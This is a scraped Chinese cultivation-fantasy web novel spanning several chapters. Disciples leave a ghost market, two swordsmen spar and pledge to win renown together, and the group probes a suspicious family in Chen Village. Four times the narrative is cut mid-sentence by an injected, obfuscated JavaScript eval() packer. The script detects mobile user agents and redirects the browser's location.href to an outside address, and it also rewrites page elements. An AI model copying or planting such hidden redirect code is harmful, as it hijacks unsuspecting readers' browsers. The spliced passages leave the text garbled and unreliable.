鬼王说完让她滚出地府界的话后,阴沉瞪了她一眼,然后破空消失自己走了。 但看他说让她滚时努力克制自己的样子,似乎真是气得不轻。 秦蓁有些尴尬,将人气跑后倒是有点反应过来,他们说的好像不是同一种双修,鬼王说的应该是道侣的双修。但她使剑,若找道侣双修,她其实更希望对方也使剑,这样双修才能修得更好,也能共同磨砺彼此剑道。鬼王修鬼道,鬼气与灵力本就有些相克,他找自己双修做什么? “秦蓁,任务登记完了,我们走吧,要先回逍遥客栈一趟吗?方才管事与我说,鬼王要封闭地府界一段时间,现下在清整生人出去了,解尘缘的人会被唤醒,我们等你同门一起回百幽境?” 她还待细想时,林赴川从交易区出来,找到她走来她身旁,已同初见时那般自持。 秦蓁看见林赴川,呆了一瞬,想起方才那交易区的管事误会林赴川和自己是道侣。想了想,他们都使剑,若要双修倒是更合适,但她又觉得,这话要是说出来,恐怕鬼王当即就会掐死自己,然后再去掐死林赴川。 还是不想了…… 秦蓁应声,二人一同回到逍遥客栈。 朱红色的客栈大堂终于热闹了起来,原先因着逍遥客栈仅供解尘缘的人进入,而解尘缘的人都在自己的客房,大堂只有零星几个人。现今因为地府界即将封闭,解尘缘的人们被唤醒,都来到大堂,一下子好不热闹,小二穿梭在各个客桌前,酒客高声唤酒,食客扬声点菜,结伴同行的人们在桌前交流,秦蓁在一角客桌,也看见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15139249|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旬鹊和同门人。 “秦师妹!”同门一位姓段的师姐正好抬头,看见了她,很欢欣的朝她挥挥手,喊她。 因她这一声,其他背对着他们的同门人也纷纷回头,很惊喜的喊着她。 秦蓁也笑,快步走向他们:“段师姐。” “我听掌柜的说了,你尘缘梦解得好快!早就醒了,天天问掌柜的等着我们呢。”段师姐说。 “怎么不多解一些?难得有如此机会。”这是另一位易师姐。 “可惜地府界要封闭一段时间,哎,下次开放不知道什么时候了,只得下次若有机会再来。”华师兄说。 “这地府界封闭,也不知会不会影响到百幽境?毕竟百幽境内有地府界的‘门’,不过我们来时陈长老都没说地府界就在百幽境底下的事,这下真是开眼界了。”这是陈师兄。 最后是旬鹊嘻嘻笑,说你回来啦。 秦蓁一一应声,终于见到同门,她也很欢欣。 林赴川待他们寒暄完,才上前行礼说:“几位师兄师姐,在下孤鸿院林赴川,我们宗门也来了弟子探查百幽境,先前我与秦师妹已沟通过,可一起任务,几位师兄师姐意觉如何?我代孤鸿院前来的弟子们邀道源宫诸位合作。” 嬉笑有一瞬静了,林赴川倒是面色如常,虽是询问和邀请,但态度不卑不亢。 “这……也可……”最终是段师姐面色犹疑的开口。 但众人面上方才的欢欣笑意不见,虽未有明显情绪在面上,但秦蓁却敏感察觉到了同门的抵触,很是诧异,自己与林赴川相处起来,觉得他没什么不好的地方。 林赴川气势内敛,并未表现出什么,仅说了句他先一步回百幽境找同门,也与他们说此次宗门合作的事。便行礼转身,就要离开。 但他顿了一下,还是转头跟秦蓁说了一句:“我先回百幽境,你与你同门先聚。” 他仅是与她说一声,并未等秦蓁回话,便转身走了。 刚刚走出逍遥客栈,秦蓁清冽的声音响起。 “林赴川!” 他没回头,没转身,但脚步确确实实停下了。 秦蓁到他面前,清冷的面上稍有急色,神情很是诧异,问他:“怎么了?” 林赴川笑:“江湖传闻我剑道已经沉寂,因旧事不堪提,往后极大可能入魔。不过我确实破不开,也许他们说的不完全错。” 他说完,直直看向秦蓁,秦蓁皱着眉,只说了四个字:“无稽之谈。” “但很可怕,对吗?哪怕只有一丝可能性入魔,都很可怕,而我是站在凝魂阵上被人这么说的,凝魂阵通人魂魄,我倒是知道我有心魔,可我不觉得我会入魔,但凝魂阵觉得。”林赴川说。 他想,秦蓁说欣赏他的剑意,他信她是真心欣赏,也信她并不会受这些传闻影响,改变对他这个人的看法,她性子如此。 只是,他不信她对“魔”没有一点芥蒂,他知道她是肖拭云的女儿,修真界史书记载,肖拭云被魔尊坑害,用其天生仙体,以神魂俱灭为代价,才救下许多人。 秦蓁对“魔”一定有恨。纵然她信自己不会入魔,但大抵也会有些芥蒂的。 没想到秦蓁绽开笑说:“不可怕。” 25. 原来真的对她有依赖啊 秦蓁是真的不觉得可怕。 师兄身上有副魔骨,师姐也曾走火入魔,别说林赴川至今剑意纯粹,根本看不到可能入魔的征兆,就那个凝魂阵,之前那些长老们不也让自己去站?说不定她自己站上去,也要落得个“极大可能入魔”的名声。 因尘缘梦,她确实恨魔界中人,但她更清楚,看人要看行事,看剑意剑心,这些比空穴来风的传闻准确得多。 她说:“你有如此剑意,剑心通明,哪里可怕?” 林赴川定定看着她,没有说话。 最终他笑道:“是,我有如此剑意,剑心通明。” 少年收敛的意气终于展现,他双眼如点漆,带着剑修的凌然傲骨,坚定的、缓缓的说:“我剑意纯粹,无谓他人何以解我,拘泥于传闻,不过因为,我尚未出剑。” 他眼睛渐渐亮起,锐意倾泄而出:“我会让这江湖看见我的剑,叫他们再提起我,非是些将入魔的谗言,而是——” 林赴川勾唇笑,剑眉星目,是从未有过的肆意与狂气:“而是,他们怎么又没打过我。” “秦蓁,我从前虽然摒开外界专心练剑,但确有受其影响,可你却让我觉得,一柄好剑不必斩得所有人认可,自有能同行者识得锋芒,我想与你搭档便是如此,待你亮剑,亦有惊天剑心。” 秦蓁看着林赴川——这柄翠竹,他随风作响贴塌的竹叶,叫人只觉剑气清新。 她心中那股少年意气也蓬勃升起,对着他的眼认认真真说:“恩!你的剑招比许多人都修得好,他们就是打不过你的,往后我们一起,名扬四海。” 林赴川笑道:“好,名扬四海!” * 秦蓁一行人刚刚穿过鬼气幕帘出了鬼市,到百幽境内,便被一个女孩堵住,她神色焦急又期待的问:“你们有没有人去交易区接了陈家村寻人任务呀?” 几位师兄师姐面面相觑,纷纷摇头,女孩的表情瞬间变得失落,又在看见有其他人从鬼气幕帘中出来时,双眼放光跑过去,问出同样的话,得到否定的答案,又失落起来,眼巴巴看着那鬼气幕帘,等着下一个出来的人。 秦蓁想起自己在交易区选的那个寻人的任务牌子,正是百幽境陈家村,又想起林赴川的那句:“那灵草怪要找的,是百年前的一个凡人。” 心下一叹,也不知这灵草何时能明白,凡人寿数的短暂。 “哎,小花儿,别天天堵着鬼市入口了,早都跟你说了,那人是个凡人,凡人!顶天了也就活个百年,早都入轮回了!”旁边一位过路人说。 那灵草怪——小花儿,登时气呼呼朝那说话的人喊:“帮我去挂任务牌的那位道长说了,有缘我会找到人的!” “嘿!个破算命的怎的都喊上道长了!那人要是算得准,还至于离开咱们百幽境,下到鬼市给那些鬼魂算吗?我看啊,根本就是糊弄那些鬼的纸钱!”那过路人还没说话,便来了个彪头大汉,伸手就要去捉小花儿:“行了!小花儿,跟爹回家了!” 小花儿见了这大汉,脸色瞬间一变,二话不说拔腿就跑。 那大汉不忙不急从他的破布兜里掏了个坠子出来,坠子一出,小花儿还维持着奔跑的姿势,却被定在了原地,接着大汉晃了下坠子,小花儿放下摆臂的手,满脸不愿到有些扭曲,却转身走了回来。 可她一边走还在一边说:“我不要回去啊!我要寻人的!救我啊!你们救救我啊!” 大汉露出不好意思的笑:“嘿,闺女不乖,见笑见笑。” 小花儿走过去的脚步不停,神色却惊恐,大喊:“不是!不是!我不是他女儿啊!他不是我爹!不是!不是!” 围观路人啧啧鄙夷的声音响起来。 “哎呦,你都被你爹这样捉回去多少次了!” “小花儿,都这么大了该听点话,你爹一个人拉扯你长大很不容易的。” “就是啊,天天闹脾气,又来鬼市门口堵人,都说了你那心上人是个凡人,早死八百回了!人家要是转世得早,都娶妻抱上美人了!” 小花儿还在喊叫:“不是!不是!你们别乱说啊!我要找的是我娘啊!” 那大汉又晃了下坠子,小花儿瞬间从人形变成了颗绿莹莹的灵草,落在地上,再发不出声音。 大汉捡起灵草,放进破布兜里,哈腰赔笑:“见笑见笑,闺女不懂事,又让大家看热闹了。” 众人摇摇头,随口宽慰了他几句,便各干各的了,大汉也转身离开。 秦蓁皱着眉收回目光,她听那灵草女孩的话,总感觉并不太对,但周围路人皆是一副见怪不怪的样子,三言两语说着这小花儿的不懂事,说大汉的不容易,于是她也难以分辨了。 “那女孩,好像不是太……自愿回家……”段师姐面上有些疑惑迷茫。 陈师兄也同样疑惑,但他还是说:“算了,别人的家事不好管,围观这些人肯定比我们了解事情原委的,我们走吧,去与……孤鸿院的人汇合先。” 秦蓁犹豫了下,想起许翊之的话,还是没有说什么。 旬鹊依稀记得天道剧本里好像是有这样一只灵草怪,似乎最后放弃寻人了。她摇摇头,做任务要紧,所幸离开了鬼市,那鬼王的地盘真是让她待得心惊胆战。 自从被鬼王拉进领域来了个下马威后,她都不敢再去逛鬼市了,还好之前买的话本零嘴还有许多,她便直接宅在客栈客房里当米虫了,日子虽然看着舒坦,她心里的警惕却一点没少,结界日夜续着,生怕鬼王给她下个黑手。 这鬼王可是天道盖章了的手眼通天,惹不起就算了,还不一定能躲得起。 她的修为也保持在飞升期,并没有往下压,只是藏了气势,叫比她低阶的人看不出来罢了。反正苏逐的阵法被鬼王碎她经脉时破掉了,她现在一整个就是死猪不怕开水烫的心理——呸呸呸,怎么骂到自己了。 也不知道苏逐的实力能不能跟鬼王碰一碰。她总觉得,这种平时不显山不露水的人,起了杀意才最是可怕。 唉!反正这俩她都惹不起!这个世界怎么了!飞升期修为被当成狗虐——呸呸呸!怎么又骂到自己了! 旬鹊觉得自己脑子很晕很乱,一瞬跨过多个大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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她被鬼王拉进领域被迫将修为提至巅峰的那天,心境最乱到险些走火入魔,她缩在床上感受成了乱麻的思维、杂绪的一段段记忆、和她在大口大口呕出鲜血的心脏。 那血腥味漫上她的脑袋,让她以为她又变回了那只弱到谁都可以杀了她的小妖,在好不容易逃出牢笼时被身后尖利的血齿狠狠啃噬,一口便吊在命悬一线处。 旬鹊原本是一只妖。 妖化形跟那些灵草化形没多大区别,只不过这个小世界里,妖这个物种几近灭绝,只剩下那些灵兽了。 她一直觉得自己早已有了颗人心,她作为天道任务者,去过那么多个小世界,也算见过芸芸众生。 她想不通,为什么在这个小世界的短短七年,却让她对一个人有了依赖。 虽然这确实是她少有的、从儿时就跟着剧本主角朝夕相处的世界,虽然秦蓁这个剧本女主也是少有的、淡漠又重情的、她一直不明白的那种人。 她看着秦蓁,越看越觉得这人就该漠视一切,冷淡的往前走才对,为什么变得这般温和。 旬鹊感觉到有凉凉泪滴划过自己脸颊,最后总结:恩,脆弱时最易被钻空子,怀柔政策实不欺我。 26. 大半夜出去真是不像话 旬鹊在秦蓁伸手抱住她时,将脸埋在秦蓁的颈窝里悄无声息的哭。 耳边嗡嗡,是几位师兄师姐惊讶问着怎么了,还有秦蓁很轻柔的解释。 她感受着脸侧细嫩的肌肤——是人类脆弱的脖颈,和底下跳动的心脏。呼吸扑洒其上又微反几丝气息回来,自己的泪滴下点点。 秦蓁轻轻抚着她的脑袋,也轻轻哄着她,就像她们之前七年的每一个冬天,她总是缠着秦蓁抱她,明明秦蓁并不是个体热的人,但她的怀抱却很温暖,她安静的抱着她,偶尔说一两句话也是清清淡淡的,让旬鹊的心也一并沉静下来。 她将脸蛋从秦蓁颈窝处移开,再松了抱着秦蓁的双手,扬起的笑带了点羞涩,表情很不好意思的说:“我还没从尘缘梦中出来……” 段师姐轻轻拍了下她,说:“没事没事,尘缘梦确实叫人不好受,我们跟孤鸿院的人汇合后,可以先休整一下,你多缓缓。” 易师姐也说:“没事的,我刚醒时还哭了好一阵子呢,不碍事的。” 陈师兄惊奇:“你们的尘缘梦都这般难过吗?我的还好诶……” 华师兄说:“我的也不好受,但我更想杀人……所幸最终解开,陈师兄你说是还好,怎么也跟我们一样解了好久?” 陈师兄红了红脸,声音小了些:“这不是在解其它小尘缘嘛……我小时候有次买包子,那摊主忙得忘了收我的钱,我就偷偷走了,后来摊主不在了,我也只能尘缘梦中去看看,求个心安,结果竟是摊主可怜我,故意不拿钱的,也知道后来我偷偷将钱拿回去了……” 华师兄笑道:“你的小尘缘竟是这些琐事。” 陈师兄也笑:“琐事也很重要,这事我愧疚好久了……” 易师姐问:“你们其它小尘缘还有多少未解?我倒是正好解完了。” 陈师兄的脸又红了,说:“我才开始解呢,在梦里吃喝玩乐也太是个美梦了,差点没解开。” 众人笑起来,打趣他几句。 秦蓁也笑,没想到同门师兄师姐的小尘缘竟是这般。 旬鹊的笑也在脸上,心下却微微叹声,琐事构穿着人的一生,可她没有什么琐事,始终难成人心。 她拉了拉秦蓁的手,说阿蓁姐姐我没事啦。 * 孤鸿院这边竟是个十几人的小队,他们彼此打了招呼,态度算不上热切,但也没有抵触,就像很平常的对待宗门合作一样。 林赴川不像上次那般敛了气势,而是带着初成的锐意,自信坦然的走来,沟通任务细节。 道源宫的宗门任务是以探查为主。百幽境前几月发生了一场灵力暴动,虽未造成什么损伤,但此地境内没有灵矿所在,发生灵力暴动是十分古怪的事,于是其中一个任务便是探查此番灵力暴动的原因,另外几个任务也是调查百幽境的几个小村庄的一些怪事。 孤鸿院的宗门任务则是……除灵兽、除灵兽、除灵兽…… 百幽境内有几座灵兽山,那上面大部分灵兽是开了灵智的,不会主动下山攻击人,但也有部分灵智未开的会祸乱周边村庄,便有村民向外发任务求助。 孤鸿院这批弟子接的便全是除灵兽的任务,众人整理了下双方的任务路线,决定先去最近的陈家村。这是道源宫的任务,需调查的村庄怪事之一。 陈家村的一户人家长子生了怪病难以药医,那家人在四处寻法子。 而陈家村正好就临着一座灵兽山,孤鸿院弟子们的任务也能一并做。 商定好后,众人便回了各自客房,打算休整一天,待明日再启程去陈家村。 秦蓁倒还在原地没有动,她想起那个叫小花儿的灵草怪也是陈家村的人。 林赴川见她没回客房,大概也想到此事,走来对她说:“你之前在交易区选的那个任务牌,寻的就是陈家村的人,发那任务的灵草怪,你应该已经见过了吧?就是经常在鬼市门前堵人的小花儿。你若在意,我们可以找那小花儿聊下,跟她说清楚凡人寿数的问题。” “你知道她要寻的人是谁吗?”秦蓁问。 林赴川摇头:“我之前接这任务时,被管事告知这灵草怪要寻的是凡人,便将任务牌子退回去了,没有细问,灵草灵兽天生灵体,没法入鬼市,我听说是许多年前,那位能解尘缘的前辈初到鬼市时,帮她挂上的任务牌。” “竟是……如此……” 秦蓁叹道:“我想帮帮她。” “为何?”林赴川虽是疑问,眼中却闪着微光。 “不管旁人怎么说,那女孩确实不是自愿跟着她父亲回家的,那坠子不知是何物?她是被一个坠子控制着走。而且……虽然旁人说她在寻的是心上人,可她自己说的是,她在寻她娘亲。” 秦蓁在那小花儿身上,看见一点从前的自己,小花儿说她寻的是娘亲,她便有些想帮帮她。 林赴川笑意渐盛,开口说道:“行侠仗义,剑客本心。” 秦蓁愣一下,说:“或许只是……恻隐之心。” 林赴川却还是笑:“非也。真心助人,无论何事,无论何因,便是侠。” 秦蓁沉思:“侠?这般简单?我以为……要为天下,方才能称侠。” 林赴川说:“天下是由一个个人组成的。” 他抱着剑,身上有锐意,眼中有笑意:“每个人心里都有对‘侠’的理解,但我觉得,不必深解‘侠’究竟为何意,去做心中有意气的事便好了。” 秦蓁明白了,也笑起来:“这是你的侠道?” 林赴川点头:“行侠,我辈之事。” 秦蓁静静看他,说道:“待任务完成,我想与你比剑,切磋一把可好?” 林赴川说:“好。你有自己的剑吗?我虽用的是我师父的剑,但它也是把难得的好剑,若你用木剑与我打,倒是我落下乘了。” 秦蓁绽开很柔和的笑,说:“我有自己的剑。” “是我师父予我,它名‘不悔’,是一把好剑。” 秦蓁召出她的剑,平握,横于胸前,“不悔”轻声嗡鸣,剑气四洒。 “好剑!”林赴川眼睛很亮:“待我的剑铸好,我亦有把如此好剑。我们可常切磋!” 秦蓁眉间扬上意气:“你本身就是一把好剑,我亦是,于此,合适我们的剑,才能是好剑。” 林赴川大笑,兴奋道:“是如此!” 两人探讨一番剑招,更觉彼此剑意相通,林赴川叹道:“可惜不能立刻过过招,百幽境内生灵修为偏低,哪怕我们聚灵在空中切磋,他们亦会受到灵力波动影响,若是灵兽山附近,那边的村庄倒是有设结界,但我们跑去切磋,又有点不像话。” 秦蓁此刻内心也是剑意翻涌,眼中也带了些战意,她问道:“如何不像话?” 林赴川笑:“明日便要去那附近做任务,同门都在休整,独我们跑去那儿,夜晚的灵兽山不会有灵兽出没,很是安全,所以我们也杀不了灵兽,做不了任务。不杀灵兽不做任务,而是切磋过招,便是如此不像话。” 秦蓁说:“可不会影响谁,对吗?” 林赴川紧紧盯着她的眼,说:“对。” 秦蓁带着战意和武逢知己的期待笑意,清冷的脸被点上明艳傲气,她说:“那不像话,又如何?” 林赴川的眼再次亮起,他同样战意汹涌,意气笑道:“不如何!走!” 两人出了客栈,御剑朝陈家村附近的灵兽山飞去。刚一落地,林赴川便抛了个小药瓶过来:“回灵丹。” 秦蓁也没客气,吃下丹药,说:“来。” 话音一落,两人俱是飞身上前,两柄剑直直对撞,灵力荡开,剑意凛然。 对撞过后,林赴川迅速撤剑,再刺出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15151118|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,剑光迭起,剑势如虹。 秦蓁也撤剑,却顺着撤剑的力横扫,剑气携着灵力直冲而出,逼得林赴川改刺为抬劈,生生劈下几乎为实质的剑气。 他再挥剑袭来,剑意更盛,战意喧嚣,锋芒毕露。 秦蓁急侧,险险避开,提剑上挥,带着凌厉剑意,恍若扶摇直上。 百招,千招,二人见招拆招,双剑碰撞铮铮作响,撞出惊涛骇浪,彼此皆觉心跳迅疾却有力,带着凌冽剑意与高昂战意,如军鼓奏响。 又过数十招后,秦蓁体内灵力彻底枯竭,她硬接林赴川劈来的一剑,被他的灵力猛然震出一大口血,手却死死握紧她的剑,皮肉破开血肉飞溅亦未松剑,她将剑插入地,撑起自己的身体。 林赴川见此收了剑,气息还未平歇,便快步走来,拿出疗伤丹药递给秦蓁。 秦蓁吃下,两人就地打坐,待战意平复,秦蓁笑:“我输了。” 林赴川也笑,却摇头:“我境界已至元婴,体内灵力比你多些而已,若单单论剑,你与我难分胜负。” 秦蓁也笑着摇头:“总不能只挑同境界灵力差不多的人打,若是遇险,该待如何?是我输了,我得更努力练剑,让我的剑磨砺得更好。” 林赴川莞尔,说:“你心性好,剑意好,我们一同磨砺剑招,待日后也一同闻名江湖。” 秦蓁笑得眼睛很亮,说好。 切磋过后,两人才彻底明了彼此剑意,更觉难得同道,真如剑道知己。 “你的剑招,带了刀法,你会使刀?”林赴川问。 秦蓁摇头:“不会,但师父双修剑刀,我跟着师父学剑的,大抵因为他的剑招融合了刀法。” 林赴川点点头:“尊师何人?方便问吗?” 秦蓁怔愣一瞬。 她似乎,也并不知道,师父是何人。 他的过往,他的友人,他所历经的江湖事,他煨过的风霜酒。 她不知道,她只能说一句很苍白的:“师父是道源宫坐忘峰峰主,姓苏名逐,字栖归。” 林赴川道:“名逐,取字却为归,逐于云月,栖于归处,进退相对。世间万物,平衡为道,好名字。似乎是位隐世高人?总觉得有些耳熟,应是在哪方江湖传闻中听过你师父的事迹。” 秦蓁道:“或许。” 本来还说从地府界出来给师门报个平安,结果先是商讨任务,再是与林赴川切磋,直至此时被他提起,才想起这事,秦蓁有些懊恼,当即拿出玉牌唤了声师父,可玉牌却还是未能亮起,无法通讯。 林赴川也拿出自己的通讯法宝,同样也无法通讯,他皱眉道:“难道是地府界封闭,反而使这百幽境笼罩着大鬼的气息,无法使用通讯法宝?” 二人不得其解,也只能放弃。 所幸也没什么事,既是历练,便先好好历练吧。秦蓁想。 但她心底多少有些失落,呈在面上,叫林赴川看见了。他心中一动,说:“我对百幽境倒也熟悉,这灵兽山上有一处小谭,谭边花盛,既已来了,可要去看看?” 左右无事,秦蓁说好,便随林赴川走,二人翻过一座小山丘,走过一片草坪,穿过一小片丛林,拨开林叶,看见溪溪流水的小谭,和潭边一大片随微风轻摇的不知名花儿。 “好美。”秦蓁叹道。 林赴川轻轻笑:“恩,好美。不知道是什么花儿,开得这样好,我从前白日来过,可它们却未开花,合着花叶。大抵是月光花?但它们是蓝色的,白日也未凋谢……” 借着月色,它们茂盛开着。 夜晚的灵兽山,没有灵兽出没,却有好花盛开,身旁是互相引为剑道知己的搭档,两人静静欣赏着这片小谭边的蓝色花海,似乎其中所有都同这座灵兽山隐为了一体,静谧到了让人安心的地步。 林赴川又说一声:“好美。” 27. 真不是撞了鬼 第二天一早,众人来到陈家村。 陈家村与其他村庄没什么差别,一样的砖瓦房、黄土地、门前趴着的黑狗、道上堆放的各类杂物。孤鸿院一位弟子拦下一个过路人,说明来意,那人指明了方向,众人道谢,便朝那户人家走去。 来到门前,敲了门,很快就有一个妇人来开门,见十几个身穿同样道服的人,立刻明了是些宗门弟子,笑容满面请了人进来。 于是众人便看到,平躺在床上,脸色灰暗、紧紧皱着眉闭着眼的、这户人家那个得了病的长子。 这般脸色,与其说得了病,不如说撞了鬼。 旬鹊心下嘀咕。 孤鸿院也有人发出同样疑惑,但他们没下过地府界去过鬼市,对鬼修知之甚少,而道源宫的人因见了那市井烟火气十足的鬼市,亦犹疑几分,觉得地府界的鬼倒不会跑来百幽境祸害人。 那妇人见状,担忧道:“该不是撞鬼罢?我家老头子请过好多大夫,都说是病了,积虑成疾,慢慢养能养好,还抓了许多药呢!只是老婆子我不懂,老头子又一大早出门寻药了,待他回来,再与仙君们细说。” 段师姐上前看过那男子病体,用灵力隔着为他诊了脉,说:“脉象确实如此。并未生什么病,体内也没有鬼气,确是思虑过多,忧积成疾。” “不过,他体内灵力很少,或许多些灵力会好一些,灵力可以慢慢修复他的身体。你们陈家村的人,都是修士?”段师姐问。 那妇人高兴的应:“哎!是,只是我们修为低,大概也一辈子这么低了,渡人灵力这个法子,也有大夫讲过,但这百幽境哪有人会。” 众人一听这话,纷纷沉默,渡灵力至少要是渡劫期修为,而且一般仅会给自己师门人渡灵力,撑死了也得是同宗门的人,其他的人,一般是不会愿意渡的,毕竟渡灵力会沾染上对方的因果,结下尘缘。 “或许可以叫人炼点灵力少些的回灵丹?”孤鸿院一位弟子问。 段师姐否决:“丹方固定,少一些量多一些量,最后炼出的东西都会不一样,且回灵丹不过治标不治本,不如找能治病的灵草来。” 回灵丹是筑基后才能服用的丹药,百幽境内的人大都是凝神期,炼气期的都屈指可数,这家长子更是刚过凝神期前期的门槛。 那妇人神色惊喜,问到:“仙君!什么灵草能治病呀?” 段师姐说:“秘境中的清心草,但此方地界没有秘境,并且也不是所有秘境都有清心草生长,或可以向宗门发任务,叫人帮忙寻一颗来,只是清心草市价高,闯秘境又难得,怕是得等许多日子。” “哎!哎!好!等老头子回来了,我就跟他说,叫他再发任务去!” 孤鸿院一位弟子疑惑道:“可是……清心草很贵的,这位……婆婆?可负担得起?” 段师姐也说:“清心草虽能解心疾,但不一定能完全治好令郎,他这病看着应该不止是心疾,只是我医术尚浅,实在探不出了。” 那妇人神色又变回忧心忡忡的,叹气道:“唉,还是等老爷子回来,仙君们跟老爷子说吧,我不懂,也拿不了主意。” 众人于是听这妇人从头讲长子患病的事。原来竟已是半年前的事了,那天这妇人刚醒,便听见长子卧房传来痛苦的呻吟,妇人急急去看,长子便已是这幅脸色灰暗的模样,他跌在床边哀嚎着,一刻不停喊痛,还发脾气摔屋里的东西——所以现在屋里都没放什么东西了,都收走了。妇人不敢去扶他,叫了老头子来,两人半天才将他抬上床,可他一直喊痛,妇人便去找了大夫过来,大夫便说是思虑成疾,可家里好吃好喝供着他,两人不知道他在思虑什么,看他痛成那样,便叫大夫开了安眠的汤药,煎来喂他喝了,结果这下一喝,他就半年未醒,一直是这幅脸色灰暗紧紧闭眼的样子,把两人吓坏了,这半年来日日找大夫找药,可都无济于事。 妇人一边叹气一边说,全然一副忧心长子的样子。 “既是长子,你家另外的孩子呢?”易师姐问。 妇人道:“他在外头去了,不在百幽这儿,他是筑基修士呢!自然得去外头的。” “家里人病成这样,都不回来看看吗?你们有与他通讯吗?”孤鸿院一位弟子问。 妇人忙说:“有的有的,任务就是他去发的,他在外头找治病的灵药呢!” 华师兄毫不客气的开口:“你说错了,最开始你说任务是你老头子发的。” 妇人还是那副忧心忡忡的样子,双手一拍膝盖,道:“哎!小仙君!是我说错了!老婆子我心急呀!哪顾得上什么讲究!向外头宗门找仙君来的任务是次子发的,鬼市的任务是老头子发的!” 妇人满是沟壑的脸上眉眼都皱在一起,压得厉害,叫人觉得她忧心到下一刻就要为自家长子患病而流泪。 众人沉默,有几人低低叹道“可怜”。 这病的病因显然不止是个心疾,但再多的无人能探出,所谓灵草灵药不过也是对症下药,能不能真正治好病还是难说,这家人寻医治病已有半年,看样子也没想着放弃,可若一直如此,怕是也受不起寻医治病的费用了,最后的结局,倒是不难联想。 旬鹊在心里翻了个白眼:装! 她手握剧本,百幽境是女主中期打的副本,这方的几个村子被某座灵兽山的开了智的灵兽忽悠,为求修为境界为那灵兽做事,诓骗百幽境外的修士来此,倒并不害人性命,但吸人灵力,什么秘宝啊灵符啊修士打斗散出的灵力啊,都会被那灵兽吸收,再反馈几丝给为它做事的村民。 大抵因为不害人性命也不算强行吸人灵力,只是捡漏修士运功泄出的灵力,那些灵力本来就是要消散天地间的,所以路过百幽境发觉此事的大能们也不管,反而这儿成了个历练的好去处。 只是人的贪欲哪是那么好控的呢?旬鹊盘算着,剧情里女主来时这几个村庄的人便已藏不住贪婪,那灵兽也没管这些人,百幽境便被闹得很乱,最后是天道烦了,劈了一小截天雷下来,毁了这些连着一片的村庄,什么大人小孩灵草灵兽鸡鸭羊狗全劈了,干干净净。 因为只是一小截天雷,劈了村子就完事了,并未毁百幽境和灵兽山,女主御剑到灵兽山边上,自上而下看着滚滚天雷劈尽凡尘。 活该! 旬鹊不岔,本来也就是个小问题,大家你拿一点灵力我拿一点灵力,你修为升了我历练到了,多方平衡,非要贪心不足蛇吞象,认不清自己处境。 “老婆子!开门了!”一道粗犷的男声响起。 “哎!哎!来了!”妇人高喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15154213|164186||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,立刻跑去开门,起身的动作将腕间衣袖带下一点,这时秦蓁注意到,妇人手腕内侧的肤色较白,且堪称光滑。 她微微蹙眉,只是人的腕内肌肤本身就是要细嫩一些,她虽疑心这与妇人褶皱甚多的脸和手背不相符合,但也不能作为什么发出表态。 妇人开了门,迎了她家老头子进来。 “仙君!可算盼到你们了!”那同样满脸皱褶,却看着很壮实的老汉,笑容满面的走来:“我方才寻药去了!上回的大夫说,灵兽山上有好灵草,能治病,仙君们可能帮忙跑一趟?老头子我打不过,仙君们定然不在话下!” 孤鸿院弟子们很快便应下,他们本身就接了去灵兽山山脚杀灵兽的任务,帮忙去找些灵草做药不过是顺手的事。 妇人显然在去开门迎人时便已将前情告知了这老汉,他笑脸依旧,问:“仙君们可还有什么要了解的?只是我家大儿子这病,我也搞不清楚!只能听大夫们的话寻药去。” 众人犹疑,孤鸿院几位弟子问了些细节事,老汉一一答了,便暂时没什么能问的了,因为许多问题问了这老汉也不知,只一个劲说听大夫的话寻药便好。 众人商讨,孤鸿院的弟子们先去灵兽山做杀灵兽的任务,道源宫来的人少,便几人一同找老汉要的灵草。 与妇人和老汉说明,在他们的感激声中出了房屋,众人走在陈家村的土路上。 林赴川沉思:“总感觉不太对,他们一家不太像本土的农家人。” 段师姐认同:“确实,那屋内墙角蛛网密布,房内各面墙都灰尘扑扑,但他家长子的床边和凳椅却干净得过分,不像是因为住人且有人活动在屋里所以常常打扫,更像是原本陈旧的屋子被清出几块干净的活动区。” 众弟子听了面色也疑惑起来,但他们大多是金丹期修为,哪怕是孤鸿院新入门的弟子也到了筑基期,百幽境内村民不过凝神炼气,有绝对的实力压制,倒是并不紧张担忧,只是疑心他们的目的。 